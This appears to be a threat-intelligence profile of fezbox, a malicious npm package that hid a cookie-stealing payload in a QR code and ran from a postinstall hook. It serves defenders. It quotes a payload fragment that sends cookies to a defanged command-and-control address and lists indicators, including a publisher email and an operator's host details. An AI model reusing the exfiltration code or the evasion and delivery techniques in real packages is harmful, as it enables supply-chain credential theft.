Fezbox
fezbox is a malicious npm package first observed on August 21, 2025. It used an unusual QR code steganography technique to deliver a base64-encoded JavaScript payload tagged "[FEZBOX]". The package was designed to steal browser cookies and related browser context, including document.cookie, window.location.origin, navigator.userAgent, and reported usernames and passwords from browser web cookies. The malware introduced a 120-second execution delay and performed environment checks before continuing, likely as sandbox evasion. It then retrieved a QR code image from the primary command-and-control server at 1[.]94[.]210[.]59, decoded the embedded payload, and exfiltrated collected data via HTTP POST requests to the /collect endpoint. A secondary exfiltration endpoint was also identified at my-nest-app-production[.]up[.]railway[.]app/users. The primary infrastructure was hosted on a Huawei Cloud ECS instance in Beijing, with exposed services on ports 80, 8080, and 9090, including dashboards labeled "C2 Monitor Panel - Educational Use" and "DARKNET C2 CONTROL PANEL." The package was published under the npm alias janedu using the email janedu0216@gmail.com. npm seized the package on September 22, 2025, suspended the janedu account, and replaced the malicious versions 1.0.0 through 1.3.0 with a 0.0.1-security holding package. The package remained live for 32 days and reached up to 476 downloads. As of April 3, 2026, the C2 server remained online. Investigation of an exposed exfiltration database at 1[.]94[.]210[.]59/data found five records, three of which were attributed to the operator’s own test runs; the available content states there were no confirmed victim records, likely because the payload relied on browser APIs that are not normally present in Node.js environments.
Techniques & procedures
14 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
On August 21, 2025, a package called fezbox appeared on npm... The chain: Developer installs fezbox (dependency confusion or direct install)
Malicious npm package fezbox (versions 1.0.0 through 1.3.0) was a real supply chain attack... Executes on npm install (postinstall hook)... Sends JSON POST to hxxp://1[.]94[.]210[.]59:8080/collect
Execution
1 technique
Execution
QR code payload encodes Base64 JavaScript that steals browser cookies and sends them to hxxp://1[.]94[.]210[.]59:8080/collect
Stealth
3 techniques
Stealth
FEZBOX used QR code steganography -- an unusual choice for npm supply chain attacks... Fetches a QR code image from 1[.]94[.]210[.]59 Decodes the QR content: a base64-encoded JavaScript payload tagged [FEZBOX]
Package loads and waits 120 seconds (sandbox evasion) Checks environment to ensure it's running in a real development context
Checks environment to ensure it's running in a real development context
Credential Access
1 technique
Credential Access
The JS payload steals document.cookie , window.location.origin , and navigator.userAgent
Discovery
6 techniques
Discovery
Collects comprehensive system fingerprint... Network: all interface names, primary IP
MITRE ATT&CK Mapping... Discovery System Owner/User Discovery T1033 USER, HOME environment variables
MITRE ATT&CK Mapping... Discovery Process Discovery T1057 PID, CWD, execPath collection
The data includes: Hostname : hstx Username : asus CPU : 13th Gen Intel Core i7-13700H (20 cores) RAM : 16 GB OS : Windows 11... Node.js : v20.18.0 IP address : 183[.]210[.]123[.]88 Network interfaces...
Package loads and waits 120 seconds (sandbox evasion) Checks environment to ensure it's running in a real development context
Checks environment to ensure it's running in a real development context
Collection
1 technique
Collection
The QR code encodes a Base64 JavaScript payload... const data = { cookies : document.cookie , origin : window.location.origin , userAgent : navigator.userAgent ... }; fetch('hxxp://1[.]94[.]210[.]59:8080/collect' ... )
Command and Control
1 technique
Command and Control
Exfiltrates via HTTP POST to /collect on the C2
Exfiltration
1 technique
Exfiltration
POST to C2: hxxp://1[.]94[.]210[.]59:8080/collect... LIVE exfiltration receiver -- accepts any JSON
Observables
10 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.